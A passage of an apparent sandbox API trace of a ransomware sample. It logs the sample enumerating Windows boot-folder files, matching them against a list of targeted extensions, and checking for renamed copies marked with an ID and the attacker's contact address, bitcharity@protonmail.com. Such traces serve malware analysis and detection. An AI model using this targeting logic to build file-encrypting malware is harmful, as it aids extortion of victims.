"c:\\boot\\nl-nl\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1048 [0286.312] GetFileSizeEx (in: hFile=0x1048, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=45472) returned 1 [0286.312] CloseHandle (hObject=0x1048) returned 1 [0286.312] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui")) returned 0x20 [0286.312] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\memtest.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.312] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.312] lstrlenW (lpString="C:\\Boot\\nl-NL\\memtest.exe.mui") returned 29 [0286.312] lstrlenW (lpString="C:\\Boot\\nl-NL\\memtest.exe.mui") returned 29 [0286.312] lstrlenW (lpString=".doc") returned 4 [0286.312] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0286.312] lstrlenW (lpString=".docx") returned 5 [0286.312] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0286.312] lstrlenW (lpString=".pdf") returned 4 [0286.312] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0286.312] lstrlenW (lpString=".xls") returned 4 [0286.312] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0286.312] lstrlenW (lpString=".xlsx") returned 5 [0286.312] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0286.312] lstrlenW (lpString=".ppt") returned 4 [0286.312] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0286.312] lstrlenW (lpString="C:\\Boot\\nl-NL\\memtest.exe.mui") returned 29 [0286.312] lstrlenW (lpString=".zip") returned 4 [0286.312] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0286.312] lstrlenW (lpString=".rar") returned 4 [0286.313] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0286.313] lstrlenW (lpString=".bz2") returned 4 [0286.313] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0286.313] lstrlenW (lpString=".7z") returned 3 [0286.313] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0286.313] lstrlenW (lpString="C:\\Boot\\nl-NL\\memtest.exe.mui") returned 29 [0286.313] lstrlenW (lpString=".dbf") returned 4 [0286.313] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0286.313] lstrlenW (lpString="C:\\Boot\\nl-NL\\memtest.exe.mui") returned 29 [0286.313] lstrlenW (lpString=".1cd") returned 4 [0286.313] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0286.313] lstrlenW (lpString="C:\\Boot\\nl-NL\\memtest.exe.mui") returned 29 [0286.313] lstrlenW (lpString=".jpg") returned 4 [0286.313] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0286.313] lstrlenW (lpString="C:\\Boot\\nl-NL\\memtest.exe.mui") returned 29 [0286.313] lstrlenW (lpString="C:\\Boot\\nl-NL\\memtest.exe.mui") returned 29 [0286.313] lstrlenW (lpString=".doc") returned 4 [0286.313] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0286.313] lstrlenW (lpString=".docx") returned 5 [0286.313] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0286.313] lstrlenW (lpString=".pdf") returned 4 [0286.313] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0286.313] lstrlenW (lpString=".xls") returned 4 [0286.313] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0286.313] lstrlenW (lpString=".xlsx") returned 5 [0286.313] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0286.313] lstrlenW (lpString=".ppt") returned 4 [0286.313] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0286.313] lstrlenW (lpString="C:\\Boot\\nl-NL\\memtest.exe.mui") returned 29 [0286.313] lstrlenW (lpString=".zip") returned 4 [0286.313] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0286.313] lstrlenW (lpString=".rar") returned 4 [0286.314] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0286.314] lstrlenW (lpString=".bz2") returned 4 [0286.314] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0286.314] lstrlenW (lpString=".7z") returned 3 [0286.314] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0286.314] lstrlenW (lpString="C:\\Boot\\nl-NL\\memtest.exe.mui") returned 29 [0286.314] lstrlenW (lpString=".dbf") returned 4 [0286.314] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0286.314] lstrlenW (lpString="C:\\Boot\\nl-NL\\memtest.exe.mui") returned 29 [0286.314] lstrlenW (lpString=".1cd") returned 4 [0286.314] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0286.314] lstrlenW (lpString="C:\\Boot\\nl-NL\\memtest.exe.mui") returned 29 [0286.314] lstrlenW (lpString=".jpg") returned 4 [0286.314] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0286.314] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0286.314] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0286.314] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1048 [0286.314] GetFileSizeEx (in: hFile=0x1048, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=77656) returned 1 [0286.314] CloseHandle (hObject=0x1048) returned 1 [0286.315] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0286.315] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.315] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.315] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0286.315] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0286.315] lstrlenW (lpString=".doc") returned 4 [0286.315] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0286.315] lstrlenW (lpString=".docx") returned 5 [0286.315] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0286.315] lstrlenW (lpString=".pdf") returned 4 [0286.315] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0286.315] lstrlenW (lpString=".xls") returned 4 [0286.315] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0286.315] lstrlenW (lpString=".xlsx") returned 5 [0286.315] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0286.315] lstrlenW (lpString=".ppt") returned 4 [0286.315] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0286.315] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0286.315] lstrlenW (lpString=".zip") returned 4 [0286.315] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0286.315] lstrlenW (lpString=".rar") returned 4 [0286.315] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0286.315] lstrlenW (lpString=".bz2") returned 4 [0286.315] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0286.315] lstrlenW (lpString=".7z") returned 3 [0286.315] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0286.315] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0286.315] lstrlenW (lpString=".dbf") returned 4 [0286.316] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0286.316] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0286.316] lstrlenW (lpString=".1cd") returned 4 [0286.316] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0286.316] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0286.316] lstrlenW (lpString=".jpg") returned 4 [0286.316] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0286.316] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0286.316] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0286.316] lstrlenW (lpString=".doc") returned 4 [0286.316] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0286.316] lstrlenW (lpString=".docx") returned 5 [0286.316] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0286.316] lstrlenW (lpString=".pdf") returned 4 [0286.316] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0286.316] lstrlenW (lpString=".xls") returned 4 [0286.316] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0286.316] lstrlenW (lpString=".xlsx") returned 5 [0286.316] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0286.316] lstrlenW (lpString=".ppt") returned 4 [0286.316] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0286.316] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0286.316] lstrlenW (lpString=".zip") returned 4 [0286.316] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0286.316] lstrlenW (lpString=".rar") returned 4 [0286.316] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0286.316] lstrlenW (lpString=".bz2") returned 4 [0286.316] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0286.316] lstrlenW (lpString=".7z") returned 3 [0286.316] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0286.316] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0286.316] lstrlenW (lpString=".dbf") returned 4 [0286.317] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0286.317] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0286.317] lstrlenW (lpString=".1cd") returned 4 [0286.317] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0286.317] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0286.317] lstrlenW (lpString=".jpg") returned 4 [0286.317] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0286.317] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0286.317] lstrlenW (lpString="memtest.exe.mui") returned 15 [0286.317] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1048 [0286.317] GetFileSizeEx (in: hFile=0x1048, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=45984) returned 1 [0286.317] CloseHandle (hObject=0x1048) returned 1 [0286.317] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui")) returned 0x20 [0286.317] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\memtest.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.317] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.317] lstrlenW (lpString="C:\\Boot\\pl-PL\\memtest.exe.mui") returned 29 [0286.317] lstrlenW (lpString="C:\\Boot\\pl-PL\\memtest.exe.mui") returned 29 [0286.318] lstrlenW (lpString=".doc") returned 4 [0286.318] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0286.318] lstrlenW (lpString=".docx") returned 5 [0286.318] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0286.318] lstrlenW (lpString=".pdf") returned 4 [0286.318] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0286.318] lstrlenW (lpString=".xls") returned 4 [0286.318] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0286.318] lstrlenW (lpString=".xlsx") returned 5 [0286.318] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0286.318] lstrlenW (lpString=".ppt") returned 4 [0286.318] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0286.318] lstrlenW (lpString="C:\\Boot\\pl-PL\\memtest.exe.mui") returned 29 [0286.318] lstrlenW (lpString=".zip") returned 4 [0286.318] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0286.318] lstrlenW (lpString=".rar") returned 4 [0286.318] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0286.318] lstrlenW (lpString=".bz2") returned 4 [0286.318] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0286.318] lstrlenW (lpString=".7z") returned 3 [0286.318] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0286.318] lstrlenW (lpString="C:\\Boot\\pl-PL\\memtest.exe.mui") returned 29 [0286.318] lstrlenW (lpString=".dbf") returned 4 [0286.318] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0286.318] lstrlenW (lpString="C:\\Boot\\pl-PL\\memtest.exe.mui") returned 29 [0286.318] lstrlenW (lpString=".1cd") returned 4 [0286.318] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0286.318] lstrlenW (lpString="C:\\Boot\\pl-PL\\memtest.exe.mui") returned 29 [0286.318] lstrlenW (lpString=".jpg") returned 4 [0286.318] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0286.318] lstrlenW (lpString="C:\\Boot\\pl-PL\\memtest.exe.mui") returned 29 [0286.318] lstrlenW (lpString="C:\\Boot\\pl-PL\\memtest.exe.mui") returned 29 [0286.318] lstrlenW (lpString=".doc") returned 4 [0286.319] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0286.319] lstrlenW (lpString=".docx") returned 5 [0286.319] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0286.319] lstrlenW (lpString=".pdf") returned 4 [0286.319] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0286.319] lstrlenW (lpString=".xls") returned 4 [0286.319] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0286.319] lstrlenW (lpString=".xlsx") returned 5 [0286.319] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0286.319] lstrlenW (lpString=".ppt") returned 4 [0286.319] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0286.319] lstrlenW (lpString="C:\\Boot\\pl-PL\\memtest.exe.mui") returned 29 [0286.319] lstrlenW (lpString=".zip") returned 4 [0286.319] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0286.319] lstrlenW (lpString=".rar") returned 4 [0286.319] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0286.319] lstrlenW (lpString=".bz2") returned 4 [0286.319] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0286.319] lstrlenW (lpString=".7z") returned 3 [0286.319] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0286.319] lstrlenW (lpString="C:\\Boot\\pl-PL\\memtest.exe.mui") returned 29 [0286.319] lstrlenW (lpString=".dbf") returned 4 [0286.319] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0286.319] lstrlenW (lpString="C:\\Boot\\pl-PL\\memtest.exe.mui") returned 29 [0286.319] lstrlenW (lpString=".1cd") returned 4 [0286.319] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0286.319] lstrlenW (lpString="C:\\Boot\\pl-PL\\memtest.exe.mui") returned 29 [0286.319] lstrlenW (lpString=".jpg") returned 4 [0286.319] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0286.320] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0286.320] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0286.320] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1048 [0286.320] GetFileSizeEx (in: hFile=0x1048, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=76640) returned 1 [0286.320] CloseHandle (hObject=0x1048) returned 1 [0286.320] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0286.320] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.320] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.320] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0286.320] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0286.320] lstrlenW (lpString=".doc") returned 4 [0286.320] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0286.320] lstrlenW (lpString=".docx") returned 5 [0286.320] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0286.320] lstrlenW (lpString=".pdf") returned 4 [0286.320] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0286.320] lstrlenW (lpString=".xls") returned 4 [0286.320] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0286.320] lstrlenW (lpString=".xlsx") returned 5 [0286.320] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0286.320] lstrlenW (lpString=".ppt") returned 4 [0286.320] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0286.321] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0286.321] lstrlenW (lpString=".zip") returned 4 [0286.321] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0286.321] lstrlenW (lpString=".rar") returned 4 [0286.321] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0286.321] lstrlenW (lpString=".bz2") returned 4 [0286.321] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0286.321] lstrlenW (lpString=".7z") returned 3 [0286.321] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0286.321] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0286.321] lstrlenW (lpString=".dbf") returned 4 [0286.321] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0286.321] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0286.321] lstrlenW (lpString=".1cd") returned 4 [0286.321] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0286.321] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0286.321] lstrlenW (lpString=".jpg") returned 4 [0286.321] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0286.321] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0286.321] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0286.321] lstrlenW (lpString=".doc") returned 4 [0286.321] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0286.321] lstrlenW (lpString=".docx") returned 5 [0286.321] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0286.321] lstrlenW (lpString=".pdf") returned 4 [0286.321] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0286.321] lstrlenW (lpString=".xls") returned 4 [0286.321] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0286.321] lstrlenW (lpString=".xlsx") returned 5 [0286.321] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0286.321] lstrlenW (lpString=".ppt") returned 4 [0286.321] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0286.322] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0286.322] lstrlenW (lpString=".zip") returned 4 [0286.322] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0286.322] lstrlenW (lpString=".rar") returned 4 [0286.322] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0286.322] lstrlenW (lpString=".bz2") returned 4 [0286.322] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0286.322] lstrlenW (lpString=".7z") returned 3 [0286.322] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0286.322] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0286.322] lstrlenW (lpString=".dbf") returned 4 [0286.322] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0286.322] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0286.322] lstrlenW (lpString=".1cd") returned 4 [0286.322] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0286.322] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0286.322] lstrlenW (lpString=".jpg") returned 4 [0286.322] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0286.322] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0286.322] lstrlenW (lpString="memtest.exe.mui") returned 15 [0286.322] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1048 [0286.322] GetFileSizeEx (in: hFile=0x1048, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=45472) returned 1 [0286.322] CloseHandle (hObject=0x1048) returned 1 [0286.323] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui")) returned 0x20 [0286.323] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\memtest.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.323] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.323] lstrlenW (lpString="C:\\Boot\\pt-BR\\memtest.exe.mui") returned 29 [0286.323] lstrlenW (lpString="C:\\Boot\\pt-BR\\memtest.exe.mui") returned 29 [0286.323] lstrlenW (lpString=".doc") returned 4 [0286.323] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0286.323] lstrlenW (lpString=".docx") returned 5 [0286.323] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0286.323] lstrlenW (lpString=".pdf") returned 4 [0286.323] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0286.323] lstrlenW (lpString=".xls") returned 4 [0286.323] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0286.323] lstrlenW (lpString=".xlsx") returned 5 [0286.323] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0286.323] lstrlenW (lpString=".ppt") returned 4 [0286.323] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0286.323] lstrlenW (lpString="C:\\Boot\\pt-BR\\memtest.exe.mui") returned 29 [0286.323] lstrlenW (lpString=".zip") returned 4 [0286.323] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0286.323] lstrlenW (lpString=".rar") returned 4 [0286.323] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0286.323] lstrlenW (lpString=".bz2") returned 4 [0286.323] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0286.323] lstrlenW (lpString=".7z") returned 3 [0286.323] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0286.323] lstrlenW (lpString="C:\\Boot\\pt-BR\\memtest.exe.mui") returned 29 [0286.323] lstrlenW (lpString=".dbf") returned 4 [0286.324] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0286.324] lstrlenW (lpString="C:\\Boot\\pt-BR\\memtest.exe.mui") returned 29 [0286.324] lstrlenW (lpString=".1cd") returned 4 [0286.324] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0286.324] lstrlenW (lpString="C:\\Boot\\pt-BR\\memtest.exe.mui") returned 29 [0286.324] lstrlenW (lpString=".jpg") returned 4 [0286.324] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0286.324] lstrlenW (lpString="C:\\Boot\\pt-BR\\memtest.exe.mui") returned 29 [0286.324] lstrlenW (lpString="C:\\Boot\\pt-BR\\memtest.exe.mui") returned 29 [0286.324] lstrlenW (lpString=".doc") returned 4 [0286.324] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0286.324] lstrlenW (lpString=".docx") returned 5 [0286.324] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0286.324] lstrlenW (lpString=".pdf") returned 4 [0286.324] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0286.324] lstrlenW (lpString=".xls") returned 4 [0286.324] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0286.324] lstrlenW (lpString=".xlsx") returned 5 [0286.324] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0286.324] lstrlenW (lpString=".ppt") returned 4 [0286.324] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0286.324] lstrlenW (lpString="C:\\Boot\\pt-BR\\memtest.exe.mui") returned 29 [0286.324] lstrlenW (lpString=".zip") returned 4 [0286.324] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0286.324] lstrlenW (lpString=".rar") returned 4 [0286.324] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0286.324] lstrlenW (lpString=".bz2") returned 4 [0286.324] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0286.324] lstrlenW (lpString=".7z") returned 3 [0286.324] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0286.324] lstrlenW (lpString="C:\\Boot\\pt-BR\\memtest.exe.mui") returned 29 [0286.324] lstrlenW (lpString=".dbf") returned 4 [0286.325] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0286.325] lstrlenW (lpString="C:\\Boot\\pt-BR\\memtest.exe.mui") returned 29 [0286.325] lstrlenW (lpString=".1cd") returned 4 [0286.325] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0286.325] lstrlenW (lpString="C:\\Boot\\pt-BR\\memtest.exe.mui") returned 29 [0286.325] lstrlenW (lpString=".jpg") returned 4 [0286.325] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0286.325] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 